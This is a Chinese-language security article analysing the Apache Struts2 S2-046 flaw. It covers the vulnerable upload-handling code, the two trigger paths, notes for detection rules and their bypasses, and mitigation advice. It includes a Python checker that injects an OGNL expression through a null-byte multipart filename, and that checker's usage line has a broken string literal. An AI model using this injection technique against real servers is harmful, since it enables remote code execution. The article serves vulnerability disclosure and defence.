S2-046漏洞调试及初步分析

免责申明:文章中的工具等仅供个人测试研究,请在下载后24小时内删除,不得用于商业或非法用途,否则后果自负

0x00 漏洞介绍

S2-046漏洞和S2-045漏洞非常相似,都是由报错信息带入了buildErrorMessage这个方法造成的。 但是这次存在两个触发点。

Content-Length 的长度值超长
Content-Disposition的filename存在空字节

0x01 漏洞分析
Content-Length 的长度值超长
这个漏洞需要在strust.xml中加入 <constant name="struts.multipart.parser" value="jakarta-stream" />才能触发。
触发漏洞的代码在 JakartaStreamMultiPartRequest类中,processUpload函数处理了content-length长度超长的异常,导致问题触发。

private void processUpload(HttpServletRequest request, String saveDir)
        throws Exception {
    // Sanity check that the request is a multi-part/form-data request.
    if (ServletFileUpload.isMultipartContent(request)) {
        // Sanity check on request size.
        boolean requestSizePermitted = isRequestSizePermitted(request);
        // Interface with Commons FileUpload API
        // Using the Streaming API
        ServletFileUpload servletFileUpload = new ServletFileUpload();
        FileItemIterator i = servletFileUpload.getItemIterator(request);
        // Iterate the file items
        while (i.hasNext()) {
            try {
                FileItemStream itemStream = i.next();
                // If the file item stream is a form field, delegate to the
                // field item stream handler
                if (itemStream.isFormField()) {
                    processFileItemStreamAsFormField(itemStream);
                }
                // Delegate the file item stream for a file field to the
                // file item stream handler, but delegation is skipped
                // if the requestSizePermitted check failed based on the
                // complete content-size of the request.
                else {
                    // prevent processing file field item if request size not allowed.
                    // also warn user in the logs.
                    if (!requestSizePermitted) {
                        addFileSkippedError(itemStream.getName(), request);
                        LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", itemStream.getName(), maxSize);
                        continue;
                    }
                    processFileItemStreamAsFileField(itemStream, saveDir);
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
}

触发点在

LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", itemStream.getName(), maxSize);

之后进入了函数addFileSkippedError,我们又见到了熟悉的buildErrorMessage,而这次带入的参数为fileName

private void addFileSkippedError(String fileName, HttpServletRequest request) {
    String exceptionMessage = "Skipped file " + fileName + "; request size limit exceeded.";
    FileSizeLimitExceededException exception = new FileUploadBase.FileSizeLimitExceededException(exceptionMessage, getRequestSize(request), maxSize);
    String message = buildErrorMessage(exception, new Object[]{fileName, getRequestSize(request), maxSize});
    if (!errors.contains(message))
        errors.add(message);
}

Content-Disposition的filename存在空字节

第二种触发漏洞的方式,属于直接触发,在streams.class中,会对filename进行检查,如果检查出错,也会记录log。

public static String checkFileName(String fileName) {
    if (fileName != null  &&  fileName.indexOf('\u0000') != -1) {
        // pFileName.replace("\u0000", "\\0")
        final StringBuilder sb = new StringBuilder();
        for (int i = 0;  i < fileName.length();  i++) {
            char c = fileName.charAt(i);
            switch (c) {
                case 0:
                    sb.append("\\0");
                    break;
                default:
                    sb.append(c);
                    break;
            }
        }
        throw new InvalidFileNameException(fileName,
                "Invalid file name: " + sb);
    }
    return fileName;
}

最终进入的是JakartaStreamMultiPartRequest类的,我们又见到了buildErrorMessage

public void parse(HttpServletRequest request, String saveDir)
        throws IOException {
    try {
        setLocale(request);
        processUpload(request, saveDir);
    } catch (Exception e) {
        e.printStackTrace();
        String errorMessage = buildErrorMessage(e, new Object[]{});
        if (!errors.contains(errorMessage))
            errors.add(errorMessage);
    }
}

0x02 规则添加注意点

由于存在两种方式,因此规则不是很好添加。且存在一定情况的bypass可能。

由于strust2会对data字段逐字解析,filename后可以跟如下几种情况。
多个空格
多个空格,且里面可以添加rn
n个空格

0b不可当成检测字符,0b可以被替换成0000,0a - 0z 等等。

0x03 测试脚本

#!/usr/bin/env python
# coding:utf-8
import requests
requests.packages.urllib3.disable_warnings()

def poccheck(url):
    checkcode = False
    boundary="---------------------------735323031399963166993862150"
    paylaod="%{{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vuln-check-7088','0day5')}}'"
    headers = {'Content-Type': 'multipart/form-data; boundary='+boundary+''}
    data ="--"+boundary+"\r\nContent-Disposition: form-data; name=\"foo\"; filename=\""+paylaod+"\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--"+boundary+"--"
    try:
        response = requests.post(url, headers=headers,data=data,verify=False)
        if "vuln-check-7088" in response.headers:
            checkcode = url+" find struts2-46"
    except Exception as e:
        print str(e)
        return checkcode
    return checkcode

if __name__ == '__main__':
    import sys
    if len(sys.argv) == 2:
        print poccheck(sys.argv[1])
    else:
        print ("usage: %s http://0day5.com/vuln.action % sys.argv[0])
        sys.exit(-1)

0x04 防护建议

1.严格过滤 Content-Type 、filename里的内容,严禁ognl表达式相关字段。
2.如果您使用基于Jakarta插件,请升级到Apache Struts 2.3.32或2.5.10.1版本。(强烈推荐)
3.使用pell、cos等其它multipart解析器
4.弃坑,使用SpringMV

from:http://bobao.360.cn/learning/detail/3639.html

发表评论